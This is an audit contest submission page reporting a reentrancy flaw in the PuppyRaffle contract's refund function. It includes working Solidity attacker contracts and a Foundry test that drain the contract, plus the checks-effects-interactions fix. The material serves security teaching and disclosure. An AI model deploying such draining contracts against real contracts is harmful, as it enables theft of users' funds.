Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

# Reentrancy in `PuppyRaffle::refund` lets a malicious player drain the entire contract balance

yui1853

[H-1] Reentrancy in PuppyRaffle::refund lets a malicious player drain the entire contract balance

Severity

[H-1] Reentrancy in PuppyRaffle::refund lets a malicious player drain the entire contract balance

Risk

Likelihood: High — Any contract-based player can trigger it with a single ticket; no privileges or special conditions are required, and the attack is fully deterministic.

Impact: High — Total loss of all funds held by the contract: every other participant's entrance fee (and accrued fees) can be stolen in a single transaction.

Severity: High (High likelihood × High impact).

Description

PuppyRaffle::refund sends ETH to the caller before it updates the contract's state (it marks the player as refunded after the external call). This violates the Checks-Effects-Interactions (CEI) pattern.

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
payable(msg.sender).sendValue(entranceFee); // @> INTERACTION (external call) happens FIRST
players[playerIndex] = address(0); // @> EFFECT (state update) happens AFTER
emit RaffleRefunded(playerAddress);
}

When the contract sends ETH to a contract-based player, that player's receive() function executes while refund is still mid-execution and before players[playerIndex] has been zeroed. The attacker's receive() calls refund again; the playerAddress != address(0) guard still passes (the slot has not been cleared yet), so another entranceFee is sent. This repeats recursively until the contract is empty.

Impact

An attacker who enters the raffle with a single ticket can recursively withdraw the entire contract balance — i.e. steal every other participant's entrance fee (and the accrued fees held by the contract). Complete loss of user funds.

Proof of Concept

A malicious contract enters with 1 ticket, then calls refund. Its receive() re-enters refund until the vault is drained.

Scenario (from the runnable test test/ReentrancyPoC.t.sol):

  1. 4 honest players enter → contract holds 4 ETH.

  2. Attacker contract enters with 1 ticket → contract holds 5 ETH.

  3. Attacker calls refund → re-entry loop drains all 5 ETH to the attacker.

Result (assertions pass): contract balance = 0; attacker balance = 5 ETH (paid 1, took 5).

Foundry PoC (test/ReentrancyPoC.t.sol)
contract ReentrancyAttacker {
PuppyRaffle raffle;
uint256 entranceFee;
uint256 attackerIndex;
​
constructor(PuppyRaffle _raffle) {
raffle = _raffle;
entranceFee = _raffle.entranceFee();
}
​
function attack() external payable {
address[] memory players = new address[](1);
players[0] = address(this);
raffle.enterRaffle{value: entranceFee}(players);
attackerIndex = raffle.getActivePlayerIndex(address(this));
raffle.refund(attackerIndex);
}
​
receive() external payable {
if (address(raffle).balance >= entranceFee) {
raffle.refund(attackerIndex);
}
}
}
​
function test_reentrancy_drains_contract() public {
address[] memory players = new address[](4);
players[0]=playerOne; players[1]=playerTwo; players[2]=playerThree; players[3]=playerFour;
puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
​
ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);
uint256 contractBefore = address(puppyRaffle).balance; // 4 ETH
​
attacker.attack{value: entranceFee}();
​
assertEq(address(puppyRaffle).balance, 0);
assertEq(address(attacker).balance, contractBefore + entranceFee); // 5 ETH
}

Recommended Mitigation

Apply the CEI pattern: update state before the external call. (Optionally also add a nonReentrant mutex for defence-in-depth.)

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
​
- payable(msg.sender).sendValue(entranceFee);
-
- players[playerIndex] = address(0);
- emit RaffleRefunded(playerAddress);
+ players[playerIndex] = address(0); // EFFECT first
+ emit RaffleRefunded(playerAddress);
+ payable(msg.sender).sendValue(entranceFee); // INTERACTION last
}

After this change, a re-entrant call hits require(playerAddress != address(0)) and reverts, so funds cannot be drained.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!